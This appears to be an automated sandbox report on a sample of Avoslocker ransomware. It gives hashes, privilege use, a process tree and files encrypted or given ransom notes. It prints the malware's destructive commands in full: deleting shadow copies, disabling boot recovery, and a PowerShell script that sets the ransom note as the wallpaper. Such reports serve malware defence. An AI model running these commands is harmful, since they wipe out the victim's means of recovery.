powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1593467514.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

MD5 e27b5291c8fb2dfdeb7f16bb6851df5e
SHA1 40207f83b601cd60905c1f807ac0889c80dfe33f
SHA256 ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA512 2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

memory/1224-5-0x000000013F350000-0x000000013F46E000-memory.dmp

C:\GET_YOUR_FILES_BACK.txt

MD5 c92c2b70fb37f84aab38412ad9226aa8
SHA1 14f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256 d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA512 04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

memory/2396-974-0x000000001B660000-0x000000001B942000-memory.dmp

memory/2396-985-0x0000000001E50000-0x0000000001E58000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 db84c0e6c2d181de41ed2ad7e6f1f637
SHA1 0412af80ecfff27b8ca51d757ae8ed06db741993
SHA256 15320b877486d9c5c91c0bfd57024d188245e0426ce950af6b75e4099c5fb229
SHA512 2bc43af60c0536a5c70649fe6ede7d4afdfef968461a314419f6dc1f2dab095f0429552a0f72f351648583d4095c9f0254e82c1f53e92c8f7b3bff617c3f461f

memory/5376-24570-0x000000001B750000-0x000000001BA32000-memory.dmp

memory/5376-24571-0x0000000002000000-0x0000000002008000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-12-25 14:53

Reported

2024-12-25 14:56

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Avoslocker family

avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8494) files with added filename extension

ransomware

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\testing.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\341933339.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_profile.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Trial2-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\de-DE\InkObj.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Stable.msix.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\System\msadc\it-IT\msdaremr.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\en_get.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\ExchangeWideTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\QUAD\QUAD.INF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\fre\StartMenu_Win8.mp4 C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\he.pak.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\fr-FR\sqloledb.rll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\cs-cz\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\FetchingMail.scale-125.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Common Files\microsoft shared\ink\zh-CN\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pl_get.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECHO\ECHO.ELM C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdXC2RVL_KMS_ClientC2R-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Common Files\microsoft shared\TextConv\en-US\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\en-US.pak.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\en-US\sqlxmlx.rll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\pt-br\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\lcms.md C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Java\jdk-1.8\jre\lib\management\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\hu-HU\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\css\main.css C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-sl\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Exchange.scale-200.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\EXPEDITN.INF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\index.win32.stats.json C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sk-sk\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt\msipc.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\da-dk\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hr-hr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\ExchangeWideTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-100.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-32.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_SubTrial5-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\hwrespsh.dat C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskpred.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\Skins\Revert.wmz C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fi-fi\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\da-dk\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Ion Boardroom.thmx C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\pl.pak.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sk-sk\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_initiator.gif C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Grace-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\hr-HR\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription5-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\7-Zip\Lang\th.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\ink\fr-FR\TipTsf.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\en-US.pak C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxAccountsSplashLogo.scale-100.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\client_eula.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2116 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2116 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2116 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 4824 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 2148 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 2148 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 3516 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4824 wrote to memory of 3516 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 3348 wrote to memory of 4416 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3348 wrote to memory of 4416 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2204 wrote to memory of 4700 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2204 wrote to memory of 4700 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2148 wrote to memory of 1064 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2148 wrote to memory of 1064 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1544 wrote to memory of 1060 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1544 wrote to memory of 1060 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3516 wrote to memory of 3628 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3516 wrote to memory of 3628 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4824 wrote to memory of 13752 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4824 wrote to memory of 13752 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 13752 wrote to memory of 19376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 13752 wrote to memory of 19376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 13752 wrote to memory of 18740 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 13752 wrote to memory of 18740 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\testing.exe

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr" /S

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

